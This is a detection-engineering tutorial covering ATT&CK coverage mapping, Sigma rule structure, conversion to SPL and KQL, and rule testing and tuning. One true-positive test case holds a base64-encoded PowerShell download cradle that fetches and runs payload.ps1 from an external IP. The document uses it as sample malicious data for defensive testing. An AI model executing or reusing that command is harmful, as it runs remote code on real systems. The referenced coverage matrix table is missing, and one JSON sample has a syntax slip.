Detection Engineering Lifecycle

You Cannot Defend What You Cannot See

MITRE ATT&CK is a knowledge base of real-world adversary tactics, techniques, and procedures (TTPs). It organizes attacker behavior into 14 tactics (reconnaissance, resource development, initial access, execution, persistence, privilege escalation, defense evasion, credential access, discovery, lateral movement, collection, command and control, exfiltration, impact) and hundreds of techniques within each tactic.

For detection engineering, ATT&CK serves as a coverage map. Each detection rule maps to one or more ATT&CK techniques. By mapping your detection coverage against the framework, you can identify gaps — techniques that no detection covers.

The Coverage Matrix

A coverage matrix is a table that maps detection rules to ATT&CK techniques:

The matrix reveals that T1059.003 (Windows CMD) has no coverage — a gap that an attacker could exploit.

Building the Matrix

1. Inventory existing detections — list all detection rules in your SIEM
2. Map to ATT&CK — for each rule, identify which technique(s) it detects
3. Identify gaps — techniques with no corresponding detection
4. Prioritize gaps — based on threat intelligence, asset criticality, and attacker likelihood
5. Develop new detections — write rules to cover the highest-priority gaps
6. Update the matrix — add new detections and re-measure coverage

# Example: map detection rules to ATT&CK techniques
detections = {
    "PowerShell Encoded Command": ["T1059.001"],
    "PowerShell Download Cradle": ["T1059.001", "T1105"],
    "Impossible Travel": ["T1078"],
    "Off-Hours Admin Login": ["T1078"],
    "Suspicious DNS Query": ["T1071.004"],
}

# Calculate coverage
all_techniques = get_all_attack_techniques()  # from ATT&CK STIX data
covered = set()
for rule, techniques in detections.items():
    covered.update(techniques)

gaps = all_techniques - covered
print(f"Coverage: {len(covered)}/{len(all_techniques)} techniques")
print(f"Gaps: {len(gaps)} techniques without detection")

Prioritizing Gaps

Not all gaps are equal. Prioritize based on:

• Threat intelligence — are attackers actively using this technique against your industry?
• Asset criticality — does the technique target your most critical assets?
• Existing compensating controls — are there other controls (network segmentation, EDR) that mitigate the risk?
• Detection feasibility — can you actually detect this technique with the logs you have?

A technique that is actively used in your industry, targets critical assets, has no compensating controls, and is detectable with your existing logs is the highest priority gap.

ATT&CK Version Management

MITRE updates ATT&CK regularly — new techniques are added, existing techniques are modified. Your coverage matrix must be updated when ATT&CK is updated. Subscribe to ATT&CK release notes and review new techniques quarterly to identify new coverage gaps.

Write Once, Convert Anywhere

Sigma is an open-source signature format that describes detection logic in a vendor-neutral way. A Sigma rule expresses what to detect (field values, conditions, and logic) without specifying how to query a particular SIEM. Converters translate Sigma rules into Splunk SPL, Elastic KQL, Microsoft Sentinel, and other platform-specific queries.

This solves a major problem: detection logic written for one SIEM cannot be easily ported to another. With Sigma, you write the detection once and deploy it anywhere.

Sigma Rule Structure

title: PowerShell Encoded Command Execution
id: 8b6c8f9a-1234-5678-abcd-ef0123456789
status: experimental
description: Detects PowerShell execution with base64-encoded commands
references:
    - https://attack.mitre.org/techniques/T1059/001/
author: Security Team
date: 2026/09/30
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        EventID: 4688
        CommandLine|contains|all:
            - powershell
            - -enc
    condition: selection
falsepositives:
    - Administrative scripts that use encoded commands
level: high
tags:
    - attack.execution
    - attack.t1059.001

Key fields:

• title — human-readable name
• id — unique identifier (UUID)
• status — experimental, stable, or deprecated
• logsouce — which product and category of log this rule applies to
• detection — the core logic: what to match and under what condition
• falsepositives — known scenarios where this rule may generate false positives
• level — severity (low, medium, high, critical)
• tags — ATT&CK technique tags for coverage mapping

Detection Logic

The detection field defines what to match. It supports:

• Selection — conditions that must all be met
• Filter — conditions that exclude events
• Condition — how selections and filters combine

detection:
    selection_encoded:
        EventID: 4688
        CommandLine|contains: '-enc'
    selection_powershell:
        EventID: 4688
        CommandLine|contains: 'powershell'
    filter_admin_host:
        Computer: 'IT-ADMIN-01'
    condition: selection_encoded and selection_powershell and not filter_admin_host

This rule detects PowerShell with -enc on any host except IT-ADMIN-01 (where admins legitimately use encoded commands).

Converting Sigma to SPL

Using the Sigma CLI converter:

# Convert a Sigma rule to Splunk SPL
sigma convert -t splunk powershell_encoded_command.yml

# Output:
# index=windows EventCode=4688 CommandLine=*powershell* CommandLine=*-enc* Computer!=IT-ADMIN-01

# Convert to Elastic KQL
sigma convert -t elastic powershell_encoded_command.yml

# Output:
# event.code: "4688" and process.command_line: "*powershell*" and process.command_line: "*-enc*" and not host.name: "IT-ADMIN-01"

The same Sigma rule converts to both platforms with correct syntax for each.

Sigma Rule Best Practices

1. Use ATT&CK tags — every rule should tag the technique it detects for coverage mapping
2. Document false positives — list known scenarios where the rule may fire on legitimate activity
3. Set appropriate status — experimental rules should be tested before marking as stable
4. Write specific detections — avoid overly broad rules that match everything
5. Include references — link to ATT&CK technique pages, blog posts, or threat reports
6. Version control — store Sigma rules in Git for change tracking and collaboration

Building a Sigma Rule Repository

A well-organized Sigma rule repository includes:

sigma-rules/
├── rules/
│   ├── windows/
│   │   ├── powershell_encoded_command.yml
│   │   ├── suspicious_registry_modification.yml
│   │   └── process_injection.yml
│   ├── linux/
│   │   ├── reverse_shell.yml
│   │   └── cron_persistence.yml
│   └── network/
│       ├── dns_tunneling.yml
│       └── c2_beaconing.yml
├── tests/
│   ├── powershell_encoded_command_true_positive.json
│   └── powershell_encoded_command_false_positive.json
└── README.md

Each rule has corresponding test cases — sample log events that should trigger the rule (true positives) and sample events that should not (false positives). The test cases are run in CI/CD to verify that the rule works as intended before deployment.

The Detection Engineering Lifecycle

A detection rule is not finished when it is written. It is finished when it has been tested against realistic data, deployed to production, tuned based on real-world performance, and continuously monitored for effectiveness. The detection engineering lifecycle has five stages.

Stage 1: Research

Before writing a rule, understand the threat:

• What is the attack technique? — study the ATT&CK technique description
• How does it work? — understand the mechanics of the attack
• What are the indicators? — what artifacts does the attack leave in logs?
• What are the variations? — how might attackers modify the technique to evade detection?
• What is the threat intelligence? — is this technique actively used in the wild?

Research outputs a detection hypothesis: "If an attacker uses technique X, we will see indicator Y in log source Z."

Stage 2: Develop

Write the detection rule based on the research:

1. Write the Sigma rule — define the detection logic with appropriate selections, filters, and conditions
2. Define test cases — create sample log events that should trigger the rule (true positives) and should not (false positives)
3. Document the rule — explain what it detects, why it matters, and what the limitations are

Stage 3: Test

Test the rule against realistic data before deploying to production:

True Positive Testing

Verify that the rule fires on known-malicious activity:

// True positive test case: PowerShell with encoded command
{
    "EventID": "4688",
    "CommandLine": "powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADIAMAAuADEAMAAxAC4ANAAvAHAAYQB5AGwAbwBhAGQALgBwAHMAMQAiACkA",
    "Computer": "WS-042"
    "TimeCreated": "2026-09-30T14:23:01Z"
}

False Positive Testing

Verify that the rule does NOT fire on legitimate activity:

// False positive test case: legitimate PowerShell script
{
    "EventID": "4688",
    "CommandLine": "powershell -File C:\\scripts\\backup.ps1",
    "Computer": "WS-042",
    "TimeCreated": "2026-09-30T14:23:01Z"
}

Testing Process

1. Load test cases into a test SIEM instance
2. Run the rule against the test cases
3. Verify true positives are detected
4. Verify false positives are not detected
5. Measure performance — how long does the rule take to execute?
6. Iterate — refine the rule based on test results

Stage 4: Deploy

Deploy the tested rule to production:

1. Convert to platform-specific query — use Sigma converter or write native SPL/KQL
2. Deploy in monitoring mode first — run the rule in alert-only mode (no blocking) for 1–2 weeks
3. Review alert volume — is the rule generating a reasonable number of alerts?
4. Tune based on real data — adjust thresholds, add filters, suppress known false positives
5. Enable blocking (if IPS) — only after the rule has been proven accurate in monitoring mode

Stage 5: Tune and Maintain

Detection rules are not fire-and-forget. They require ongoing maintenance:

• Monitor alert quality — track false positive rate and true positive rate
• Update for new variations — attackers modify techniques; rules must evolve
• Remove stale rules — rules that never fire or are no longer relevant should be deprecated
• Review after incidents — if an incident occurred that the rule should have caught, analyze why it missed
• Version control — track all changes to rules with commit messages explaining the rationale

Metrics for Detection Effectiveness

• True positive rate — percentage of real attacks that are detected
• False positive rate — percentage of alerts that are false positives
• Mean time to detect (MTTD) — how long from attack start to alert
• Coverage — percentage of ATT&CK techniques with at least one detection
• Alert volume — alerts per day per rule (track for anomalies)
• Dwell time — how long an attacker operates before detection

The goal is high true positive rate, low false positive rate, and comprehensive coverage. These metrics should be reviewed monthly and reported to SOC leadership.